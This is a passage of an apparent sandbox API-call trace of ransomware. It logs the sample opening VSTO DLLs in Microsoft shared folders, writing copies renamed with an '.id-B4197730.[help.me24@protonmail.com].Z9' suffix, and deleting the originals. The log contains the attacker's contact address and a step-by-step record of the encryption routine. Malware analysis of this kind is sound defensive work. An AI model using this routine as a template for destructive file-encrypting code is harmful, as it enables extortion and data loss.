	[0091.029] lstrlenW (lpString=".docx") returned 5
	[0091.029] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0091.029] lstrlenW (lpString=".pdf") returned 4
	[0091.029] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.029] lstrlenW (lpString=".xls") returned 4
	[0091.029] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.029] lstrlenW (lpString=".xlsx") returned 5
	[0091.029] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0091.029] lstrlenW (lpString=".ppt") returned 4
	[0091.029] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.029] lstrlenW (lpString=".zip") returned 4
	[0091.029] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.029] lstrlenW (lpString=".rar") returned 4
	[0091.029] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.030] lstrlenW (lpString=".bz2") returned 4
	[0091.030] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.030] lstrlenW (lpString=".7z") returned 3
	[0091.030] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.030] lstrlenW (lpString=".dbf") returned 4
	[0091.030] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.030] lstrlenW (lpString=".1cd") returned 4
	[0091.030] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.030] lstrlenW (lpString=".jpg") returned 4
	[0091.030] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.030] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0091.030] lstrlenW (lpString="VSTOLoaderUI.dll") returned 16
	[0091.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.034] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=20608) returned 1
	[0091.034] CloseHandle (hObject=0x374) returned 1
	[0091.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20
	[0091.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.036] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.036] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0091.036] GetLastError () returned 0x0
	[0091.036] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x5080, lpOverlapped=0x0) returned 1
	[0091.065] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x5090, lpOverlapped=0x0) returned 1
	[0091.066] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.066] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0091.067] SetEndOfFile (hFile=0x364) returned 1
	[0091.067] CloseHandle (hObject=0x364) returned 1
	[0091.067] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.067] SetEndOfFile (hFile=0x388) returned 1
	[0091.068] CloseHandle (hObject=0x388) returned 1
	[0091.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0091.068] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1
	[0091.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.068] lstrlenW (lpString=".doc") returned 4
	[0091.068] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.068] lstrlenW (lpString=".docx") returned 5
	[0091.068] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0091.068] lstrlenW (lpString=".pdf") returned 4
	[0091.068] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.068] lstrlenW (lpString=".xls") returned 4
	[0091.068] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.068] lstrlenW (lpString=".xlsx") returned 5
	[0091.068] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0091.068] lstrlenW (lpString=".ppt") returned 4
	[0091.068] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.069] lstrlenW (lpString=".zip") returned 4
	[0091.069] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.069] lstrlenW (lpString=".rar") returned 4
	[0091.069] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.069] lstrlenW (lpString=".bz2") returned 4
	[0091.069] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.069] lstrlenW (lpString=".7z") returned 3
	[0091.069] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.069] lstrlenW (lpString=".dbf") returned 4
	[0091.070] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.070] lstrlenW (lpString=".1cd") returned 4
	[0091.070] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.070] lstrlenW (lpString=".jpg") returned 4
	[0091.070] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.070] lstrlenW (lpString=".doc") returned 4
	[0091.070] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.070] lstrlenW (lpString=".docx") returned 5
	[0091.070] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0091.070] lstrlenW (lpString=".pdf") returned 4
	[0091.070] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.070] lstrlenW (lpString=".xls") returned 4
	[0091.070] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.070] lstrlenW (lpString=".xlsx") returned 5
	[0091.070] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0091.070] lstrlenW (lpString=".ppt") returned 4
	[0091.070] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.070] lstrlenW (lpString=".zip") returned 4
	[0091.070] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.070] lstrlenW (lpString=".rar") returned 4
	[0091.070] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.070] lstrlenW (lpString=".bz2") returned 4
	[0091.070] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.070] lstrlenW (lpString=".7z") returned 3
	[0091.070] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.070] lstrlenW (lpString=".dbf") returned 4
	[0091.071] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.071] lstrlenW (lpString=".1cd") returned 4
	[0091.071] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0091.071] lstrlenW (lpString=".jpg") returned 4
	[0091.071] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.071] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0091.071] lstrlenW (lpString="VSTOLoader.dll") returned 14
	[0091.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.072] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=367216) returned 1
	[0091.072] CloseHandle (hObject=0x388) returned 1
	[0091.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20
	[0091.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.073] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.073] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0091.074] GetLastError () returned 0x0
	[0091.074] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x59a70, lpOverlapped=0x0) returned 1
	[0091.082] WriteFile (in: hFile=0x368, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x59a80, lpOverlapped=0x0) returned 1
	[0091.089] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.089] WriteFile (in: hFile=0x368, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0091.089] SetEndOfFile (hFile=0x368) returned 1
	[0091.089] CloseHandle (hObject=0x368) returned 1
	[0091.089] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.089] SetEndOfFile (hFile=0x388) returned 1
	[0091.093] CloseHandle (hObject=0x388) returned 1
	[0091.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0091.093] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1
	[0091.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.093] lstrlenW (lpString=".doc") returned 4
	[0091.093] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.093] lstrlenW (lpString=".docx") returned 5
	[0091.093] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0091.093] lstrlenW (lpString=".pdf") returned 4
	[0091.093] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.093] lstrlenW (lpString=".xls") returned 4
	[0091.093] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.093] lstrlenW (lpString=".xlsx") returned 5
	[0091.093] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0091.093] lstrlenW (lpString=".ppt") returned 4
	[0091.093] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.094] lstrlenW (lpString=".zip") returned 4
	[0091.094] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.094] lstrlenW (lpString=".rar") returned 4
	[0091.094] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.094] lstrlenW (lpString=".bz2") returned 4
	[0091.094] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.094] lstrlenW (lpString=".7z") returned 3
	[0091.094] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.094] lstrlenW (lpString=".dbf") returned 4
	[0091.094] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.094] lstrlenW (lpString=".1cd") returned 4
	[0091.094] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.094] lstrlenW (lpString=".jpg") returned 4
	[0091.094] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.094] lstrlenW (lpString=".doc") returned 4
	[0091.094] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.094] lstrlenW (lpString=".docx") returned 5
	[0091.094] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0091.094] lstrlenW (lpString=".pdf") returned 4
	[0091.094] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.094] lstrlenW (lpString=".xls") returned 4
	[0091.094] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.094] lstrlenW (lpString=".xlsx") returned 5
	[0091.094] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0091.094] lstrlenW (lpString=".ppt") returned 4
	[0091.094] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.094] lstrlenW (lpString=".zip") returned 4
	[0091.094] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.095] lstrlenW (lpString=".rar") returned 4
	[0091.095] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.095] lstrlenW (lpString=".bz2") returned 4
	[0091.095] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.095] lstrlenW (lpString=".7z") returned 3
	[0091.095] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.095] lstrlenW (lpString=".dbf") returned 4
	[0091.095] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.095] lstrlenW (lpString=".1cd") returned 4
	[0091.095] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0091.095] lstrlenW (lpString=".jpg") returned 4
	[0091.095] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.095] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0091.095] lstrlenW (lpString="VSTOMessageProvider.dll") returned 23
	[0091.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.096] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=48872) returned 1
	[0091.096] CloseHandle (hObject=0x388) returned 1
	[0091.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20
	[0091.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.096] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.096] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0091.096] GetLastError () returned 0x0
	[0091.096] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xbee8, lpOverlapped=0x0) returned 1
	[0091.107] WriteFile (in: hFile=0x368, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xbef0, lpOverlapped=0x0) returned 1
	[0091.108] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.108] WriteFile (in: hFile=0x368, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x102, lpOverlapped=0x0) returned 1
	[0091.109] SetEndOfFile (hFile=0x368) returned 1
	[0091.109] CloseHandle (hObject=0x368) returned 1
	[0091.109] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.109] SetEndOfFile (hFile=0x388) returned 1
	[0091.110] CloseHandle (hObject=0x388) returned 1
	[0091.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0091.110] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1
	[0091.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.110] lstrlenW (lpString=".doc") returned 4
	[0091.110] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.110] lstrlenW (lpString=".docx") returned 5
	[0091.110] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0091.110] lstrlenW (lpString=".pdf") returned 4
	[0091.110] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.110] lstrlenW (lpString=".xls") returned 4
	[0091.111] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.111] lstrlenW (lpString=".xlsx") returned 5
	[0091.111] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0091.111] lstrlenW (lpString=".ppt") returned 4
	[0091.111] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.111] lstrlenW (lpString=".zip") returned 4
	[0091.111] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.111] lstrlenW (lpString=".rar") returned 4
	[0091.111] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.111] lstrlenW (lpString=".bz2") returned 4
	[0091.111] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.111] lstrlenW (lpString=".7z") returned 3
	[0091.111] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.111] lstrlenW (lpString=".dbf") returned 4
	[0091.111] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.111] lstrlenW (lpString=".1cd") returned 4
	[0091.111] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.111] lstrlenW (lpString=".jpg") returned 4
	[0091.111] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0091.111] lstrlenW (lpString=".doc") returned 4
